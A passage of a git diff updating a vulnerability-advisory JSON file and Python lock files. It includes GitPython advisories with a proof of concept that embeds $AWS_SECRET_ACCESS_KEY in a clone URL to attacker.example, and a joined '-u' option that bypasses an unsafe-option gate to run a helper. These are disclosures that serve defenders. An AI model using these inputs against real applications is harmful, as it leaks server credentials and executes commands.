E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines \u2014 allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves \u2014 mirroring the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.", "severity": [ @@ -1454,10 +1463,13 @@ } }, { - "modified": "2026-07-21T20:00:30Z", + "modified": "2026-07-23T03:14:30Z", "published": "2026-07-21T19:43:14Z", "schema_version": "1.7.5", "id": "GHSA-v396-v7q4-x2qj", + "related": [ + "CGA-5w9h-q384-cggx" + ], "summary": "GitPython unsafe clone option gate bypass through joined short options", "details": "`GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`.\n\nGit itself accepts `-u` as the short form of `--upload-pack=`. As a result, `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked.\n\nAffected package:\n\n- Ecosystem: PyPI\n- Package: `GitPython`\n- Confirmed affected version: `3.1.50`\n- Repository: `gitpython-developers/GitPython`\n- Current PyPI version during triage: `3.1.50`\n\nRelevant behavior:\n\n- `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options.\n- `Repo._clone()` splits `multi_options` with `shlex.split(\" \".join(multi_options))` and then calls `Git.check_unsafe_options(...)`.\n- `_canonicalize_option_name(\"-u/path/to/helper\")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry.\n- Git accepts the same joined short option as `--upload-pack=` and executes the helper during clone.\n\nPreconditions:\n\nAn application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options.\n\nThe local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service.\n\nLocal reproduction:\n\nThe PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)`.\n\nObserved sanitized output:\n\n```text\ngitpython_version=3.1.50\ngit_version=git version 2.53.0.windows.1\ntmp_dir=\nlong_upload_pack_gate=BLOCKED:UnsafeOptionError\njoined_short_upload_pack_gate=ALLOWED\nclone_result=EXPECTED_EXCEPTION:GitCommandError\nsentinel_exists=True\nsentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS\n```\n\nThe clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`.\n\nImpact:\n\nAn attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior.\n\nDuplicate / related advisory checks:\n\n- OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities.\n- The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50.\n- `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u` still bypasses because the validator canonicalizes it to `u` rather than `u`.\n- `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=[\"-u\"]` against 3.1.50 and does not depend on underscored kwargs.\n- GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50.\n- GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u` is treated as option name `u`, not blocked short option `u`.\n- GitHub issue searches for `u unsafe` and `-cfoo` returned no results.\n\nSuggested remediation:\n\nWhen checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set.\n\nA safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=` / `--option ` forms.", "severity": [ @@ -2335,16 +2347,6 @@ "Apache-2.0" ] }, - { - "package": { - "name": "nemo-fabric", - "version": "0.1.0a20260717", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, { "package": { "name": "nemo-relay", @@ -3829,12 +3831,313 @@ }, "vulnerabilities": [ { - "modified": "2026-07-21T19:15:32Z", + "modified": "2026-07-22T11:00:08Z", + "published": "2026-07-14T17:17:14Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3455", + "aliases": [ + "CVE-2026-59884", + "GHSA-m4p7-r5rc-7g4j" + ], + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pyasn1", + "purl": "pkg:pypi/pyasn1" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.6.4" + } + ] + } + ], + "versions": [ + "0.0.10a", + "0.0.11a", + "0.0.12a", + "0.0.13", + "0.0.13a", + "0.0.13b", + "0.0.6a", + "0.0.9a", + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.1", + "0.2.2", + "0.2.3", + "0.3.1", + "0.3.2", + "0.3.3", + "0.3.4", + "0.3.5", + "0.3.6", + "0.3.7", + "0.4.1", + "0.4.2", + "0.4.3", + "0.4.4", + "0.4.5", + "0.4.6", + "0.4.7", + "0.4.8", + "0.5.0", + "0.5.1", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.3" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3455.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" + }, + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j" + }, + { + "type": "FIX", + "url": "https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5" + } + ] + }, + { + "modified": "2026-07-22T11:00:08Z", + "published": "2026-07-14T17:17:14Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3456", + "aliases": [ + "CVE-2026-59885", + "GHSA-8ppf-4f7h-5ppj" + ], + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pyasn1", + "purl": "pkg:pypi/pyasn1" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.6.4" + } + ] + } + ], + "versions": [ + "0.0.10a", + "0.0.11a", + "0.0.12a", + "0.0.13", + "0.0.13a", + "0.0.13b", + "0.0.6a", + "0.0.9a", + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.1", + "0.2.2", + "0.2.3", + "0.3.1", + "0.3.2", + "0.3.3", + "0.3.4", + "0.3.5", + "0.3.6", + "0.3.7", + "0.4.1", + "0.4.2", + "0.4.3", + "0.4.4", + "0.4.5", + "0.4.6", + "0.4.7", + "0.4.8", + "0.5.0", + "0.5.1", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.3" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3456.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" + }, + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj" + }, + { + "type": "FIX", + "url": "https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9" + } + ] + }, + { + "modified": "2026-07-22T11:00:08Z", + "published": "2026-07-14T17:17:15Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3457", + "aliases": [ + "CVE-2026-59886", + "GHSA-hm4w-wwcw-mr6r" + ], + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pyasn1", + "purl": "pkg:pypi/pyasn1" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.6.4" + } + ] + } + ], + "versions": [ + "0.0.10a", + "0.0.11a", + "0.0.12a", + "0.0.13", + "0.0.13a", + "0.0.13b", + "0.0.6a", + "0.0.9a", + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.1", + "0.2.2", + "0.2.3", + "0.3.1", + "0.3.2", + "0.3.3", + "0.3.4", + "0.3.5", + "0.3.6", + "0.3.7", + "0.4.1", + "0.4.2", + "0.4.3", + "0.4.4", + "0.4.5", + "0.4.6", + "0.4.7", + "0.4.8", + "0.5.0", + "0.5.1", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.3" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3457.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" + }, + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r" + }, + { + "type": "FIX", + "url": "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886" + } + ] + }, + { + "modified": "2026-07-23T09:29:39Z", "published": "2026-07-21T19:11:03Z", "schema_version": "1.7.5", "id": "GHSA-8ppf-4f7h-5ppj", "aliases": [ - "CVE-2026-59885" + "CVE-2026-59885", + "PYSEC-2026-3456" + ], + "related": [ + "CGA-cgqf-4g9j-p3mr" ], "summary": "pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service", "details": "### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.", @@ -3947,12 +4250,16 @@ } }, { - "modified": "2026-07-21T19:15:32Z", + "modified": "2026-07-23T09:29:38Z", "published": "2026-07-21T19:11:20Z", "schema_version": "1.7.5", "id": "GHSA-hm4w-wwcw-mr6r", "aliases": [ - "CVE-2026-59886" + "CVE-2026-59886", + "PYSEC-2026-3457" + ], + "related": [ + "CGA-cpqg-2679-h8hg" ], "summary": "pyasn1: Uncontrolled resource consumption when converting decoded REAL values", "details": "### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value \u2014 prettyPrint(), str(), comparison, arithmetic, or an explicit float() call \u2014 consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real \u2014 float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.", @@ -4067,21 +4374,36 @@ "groups": [ { "ids": [ + "PYSEC-2026-3455" + ], + "aliases": [ + "CVE-2026-59884", + "GHSA-m4p7-r5rc-7g4j", + "PYSEC-2026-3455" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-3456", "GHSA-8ppf-4f7h-5ppj" ], "aliases": [ "CVE-2026-59885", - "GHSA-8ppf-4f7h-5ppj" + "GHSA-8ppf-4f7h-5ppj", + "PYSEC-2026-3456" ], "max_severity": "7.5" }, { "ids": [ + "PYSEC-2026-3457", "GHSA-hm4w-wwcw-mr6r" ], "aliases": [ "CVE-2026-59886", - "GHSA-hm4w-wwcw-mr6r" + "GHSA-hm4w-wwcw-mr6r", + "PYSEC-2026-3457" ], "max_severity": "7.5" } @@ -5421,7 +5743,7 @@ ] }, { - "modified": "2026-07-21T19:15:32Z", + "modified": "2026-07-23T09:29:39Z", "published": "2026-07-21T19:09:21Z", "schema_version": "1.7.5", "id": "GHSA-h35f-9h28-mq5c", @@ -5430,6 +5752,9 @@ "CVE-2026-59890", "PYSEC-2026-3447" ], + "related": [ + "CGA-cvf4-h23f-fpjm" + ], "summary": "setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+", "details": "## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py (FileList.global_exclude)\ndef global_exclude(self, pattern):\n match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD\n return self._remove_files(match.match) # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`caf\u00e9` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`caf\u00e9` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes\u2192str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule \u2014 an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_caf\u00e9.txt # rule saved NFC\n```\n\nand an on-disk file `secret_caf\u00e9.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped \u2014 isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.", "severity": [ @@ -6885,7 +7210,7 @@ }, { "name": "Apache-2.0", - "count": 81 + "count": 80 }, { "name": "non-standard", diff --git a/third_party/requirements-main.txt b/third_party/requirements-main.txt index a4348cec9d..57af1e90c5 100644 --- a/third_party/requirements-main.txt +++ b/third_party/requirements-main.txt @@ -701,7 +701,6 @@ docker==7.1.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nemo-platform-sdk # ngcsdk # nmp-jobs - # nmp-models docstring-parser==0.17.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:583de4a309722b3315439bb31d64ba3eebada841f2e2cee23b99df001434c912 \ --hash=sha256:cf2569abd23dce8099b300f9b4fa8191e9582dda731fd533daf54c4551658708 @@ -1329,7 +1328,6 @@ kubernetes==35.0.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # nemo-deployments-plugin # nmp-common # nmp-jobs - # nmp-models langchain==1.3.14 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:1b6696c72ba3bbbce54d745e0180742c9f6ece8bbc59ed5a46c3e20b9a435929 \ --hash=sha256:4d10dbe91005952cddd56d0dc77aa108964da6bae90ab20063653957e901f782 @@ -1716,9 +1714,6 @@ mypy-extensions==1.0.0 ; (platform_machine == 'arm64' and sys_platform == 'darwi nemo-anonymizer==0.3.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:a51f92f58fb86ffe09c9159768b309dd9138170022c1bae8565b8dc72effea7f # via nemo-anonymizer-plugin -nemo-fabric==0.1.0a20260717 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:55b850fd03bb54e1559039504048cf5c2b7fd96903f91fd8e517a4c5cfff395f - # via nemo-agents-plugin nemo-relay==0.4.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:0f92883b81540076e4b6c5e754eb7726225336634204ebd22ff730ccbcfb2723 \ --hash=sha256:6a5a5f5dec1428085f6c41c3645f1773f9cfb154cfa47306c93d6514091a8006 \ diff --git a/uv.lock b/uv.lock index 1de277123c..303e9e6e64 100644 --- a/uv.lock +++ b/uv.lock @@ -3919,7 +3919,6 @@ dependencies = [ { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-agents-example-email-phishing", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-deployments-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-config-optimizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -3934,6 +3933,11 @@ container = [ { name = "jinja2", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "python-on-whales", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] +fabric = [ + { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] test = [ { name = "fastapi", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "httpx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -3956,7 +3960,9 @@ requires-dist = [ { name = "nemo-agents-example-calculator", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-agents-example-email-phishing", editable = "plugins/nemo-agents/examples/email-phishing-analyzer" }, { name = "nemo-deployments-plugin", editable = "plugins/nemo-deployments" }, - { name = "nemo-fabric", specifier = ">=0.1.0a20260717,<0.2.0" }, + { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'fabric'", specifier = ">=0.1.0a20260724,<0.2.0" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'fabric'", specifier = ">=0.1.0a20260724,<0.2.0" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'fabric'", specifier = ">=0.1.0a20260724,<0.2.0" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nvidia-nat-config-optimizer", specifier = ">=1.8.0,<1.9" }, @@ -3968,7 +3974,7 @@ requires-dist = [ { name = "pyyaml", specifier = ">=6.0" }, { name = "rich", specifier = ">=13.7.1" }, ] -provides-extras = ["container", "test"] +provides-extras = ["fabric", "container", "test"] [[package]] name = "nemo-anonymizer" @@ -4380,9 +4386,54 @@ dev = [ [[package]] name = "nemo-fabric" -version = "0.1.0a20260717" +version = "0.1.0a20260724" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nemo-fabric-runtime", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bf/02/6553d9b6612f2dd3464060e1afbaf849c124cd8c845530914b4cbcd462b1/nemo_fabric-0.1.0a20260724.tar.gz", hash = 